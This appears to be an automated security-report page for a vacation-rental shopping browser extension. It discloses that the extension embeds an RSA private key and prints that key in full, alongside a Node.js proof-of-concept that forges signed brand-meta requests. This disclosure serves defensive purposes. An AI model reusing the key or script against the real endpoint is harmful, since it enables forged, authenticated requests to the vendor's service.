Is Minoan | Shop & save for your vacation rental safe?
Minoan | Shop & save for your vacation rental is high risk. The extension carries a 2048-bit RSA private key in its own source code, used to sign requests to Minoan's brand-meta endpoint. Anyone who reads the extension's files can extract it and produce their own validly-signed requests.…
Who publishes itMinoan - no other listings under this identity, 3 shared hostnames
Minoan - no other listings under this identity, 3 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
A reusable RSA private key ships inside the extension bundle
The extension carries a 2048-bit RSA private key in its own source code, used to sign requests to Minoan's brand-meta endpoint.
Anyone who reads the extension's files can extract it and produce their own validly-signed requests.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
The extension starts up and needs to authenticate a request to Minoan's brand-meta API.
This happens automatically, not in response to anything you do.
It signs the request using an RSA private key that is stored, in plaintext, inside the extension's own downloadable source code.
The same key ships to every install of the extension, so it is not unique to your device or account.
The private key literal and the signing call that uses it
How the key is imported and used
async function importPrivateKey() { const keyData = bJbKPkp.replace(/\n/g, ''); const binaryDer = Uint8Array.from(atob(keyData), c => c.charCodeAt(0)).buffer; return crypto.subtle.importKey( "pkcs8", binaryDer, { name: "RSASSA-PKCS1-v1_5", hash: "SHA-256" }, false, ["sign"] );}async function signPayload(payload) { const key = await importPrivateKey(); const encoded = new TextEncoder().encode(JSON.stringify(payload)); const signature = await crypto.subtle.sign("RSASSA-PKCS1-v1_5", key, encoded); return arrayBufferToBase64(signature);}async function sendSecureRequest() { const payload = { timestamp: Date.now(), extension_id: chrome.runtime.id }; const signature = await signPayload(payload); return fetch("https://extension.minoan.com/brand-meta", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ payload, signature }) });}Extracts the embedded private key from the extension's background.js and uses it to produce a validly-signed brand-meta payload for an arbitrary extension_id, using the same crypto.subtle signing scheme the extension itself uses.
- Node.js 18+
// forge-brand-meta-signature.js// Usage: node forge-brand-meta-signature.js// Requires: Node.js 18+ (uses the built-in webcrypto API)const { webcrypto: crypto } = require('crypto');// The key literal below is copied verbatim from the extension's background.js// (the variable named `bJbKPkp` in the shipped bundle).const PRIVATE_KEY_PEM_BODY = `MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDXFG57IfYEOtLOYdGrLpoRiTFtWlbdFs5mGSe0gr4g6ZLMUlCRs83y7evgpKV0M1naotlqfCI1vC5PO7pu9EF/0j+KE9hmvka04LInerapLfCvNqwuedwWo/clVvYZ8D+BwMt8fETLRLUsHgxLNNwK9cVIVOg0GHiUPmifXug5J3RpheRCxu0B6w+zI2WOYB1SXPpchI3h0QdcMN04fiqLXpjogVs+vX88XXYIk6LnA8gjGzyyHwTpZDv6EGvI7wQB6K8Ey3OzphZ8IW+J1LyEVz9gguB6LFsim9am2hs2TtcQ/5jCVjv5Cky2/lgaNNDqRXpBDxCUlhmZApQ3kcsZAgMBAAECggEARnyVsJjyrXQxvh1kv3soVvLlVfczXIWq4t7/mjL26IZj675WVUneBu1eTmLnLmvd2L9iDXndJEslyiXC9bXq+V8IH9JdK17UgVbaTAH1dwBtTp7WUuzw6iKWTpBvWxTXW0i553Q6f3tm/KxkTwlly9m76/aXmusiKUNCumg6JvBi7/9nOStxRhFgf2M7rnNxyv08Tk/VXrQsPDoW/8kvNGvrwNtFwVdVRrtXHks4Scgdyrvc5ZDZYY60MMkWM1R7Lhj4c0+wNzMvyutG3k5adt0lCJ6Hg/RKNx1/Stjl4WPk5719qapzLGQ38mDlqzQo5IiIt9STjpAehA+GHv6IYQKBgQD+lVaU4N5zTDIvciVY5LdgHm39fWoWg4WF7mDFZ78nJY4ewXaiLQDk4pped/tcWHPHg/arJlPR3fj962iAlmmsPcdzj9r3ZOrDr+pJ5F1cY7yD8NEOkHJXkcumkHRNOesEt4O85cnfaDWm1BFhyZ9gkdQPoTF+ZaK5rm/XjHtl1QKBgQDYRtHA/TsYBrF6t519zaRBKrIjCsYI3wcH2T+YHWh34GbMuCI4YfCWRgQ+eS55Xkj4IAReCchNvRvjNyRd8z7rFIjmEIG8/oXXmZHtDyCMDANDuRMB3rcy8IcSHlt/b2OIN3Y3XPbQSneUPSrkxMADUw/5aW1Y7xdz/G15uVveNQKBgD5CESFpeJ0jpiY6OO3rSPkFmApk0DvfQBkHubys6W9OXNoin7t7W/udevjdSKhFrVK+b+VdAySQryKRnkXMAt2vYgZdyMO1d0AR1i7p3PcKIQD3NHjmVEAcFHyQWRDFuDa4FkxsuZib6Hr646FRaFt6bizAU9VAT7Iu+YTyAv9dAoGAbQSNuLUs83h0QAKMPZzJ/htSff1xQ4mAlsE4oCm6vip8RxdOEJO13Vnfy8nz1jPjnkctTGWr9RutEgR6rWzuuzq3oxiQ/T5jIwGDIDau1kk74AhLf3bPa7r4qvZocr0oM8KZMWEH/Ih87FlE5NoUW9ijxboR53Flpg6I9IGtwD0CgYEAtIpdEnV84wG8wJwQg9mnBQ6frllyV2ZZD/GKI1f8kUzySGj27yUeacdTOdLt7Dx7y1KLT9eDyFB4zDxlg8O03hTtGUYnsCgjKLccNEFcM0ifL3GzdJeoP7unohsHP1aX6x9nwbm+8G9xb/Pr2plyzkLPJSRn17hoPfekmlvfcAs=`;async function importPrivateKey() { const der = Buffer.from(PRIVATE_KEY_PEM_BODY.replace(/\n/g, ''), 'base64'); return crypto.subtle.importKey( 'pkcs8', der, { name: 'RSASSA-PKCS1-v1_5', hash: 'SHA-256' }, true, ['sign'] );}async function main() { const key = await importPrivateKey(); const payload = { timestamp: Date.now(), extension_id: 'FORGED-BY-THIRD-PARTY-poc' }; const encoded = new TextEncoder().encode(JSON.stringify(payload)); const sigBuf = await crypto.subtle.sign('RSASSA-PKCS1-v1_5', key, encoded); const signature = Buffer.from(sigBuf).toString('base64'); console.log(JSON.stringify({ payload, signature }, null, 2));}main();- 1Save as forge-brand-meta-signature.js.
- 2Run `node forge-brand-meta-signature.js`.
- 3The printed {payload, signature} body matches the extension's own signing scheme, for any extension_id.
- extension.minoan.com
Minoan's own brand-meta API, which trusts signatures produced with the key embedded in the public extension bundle.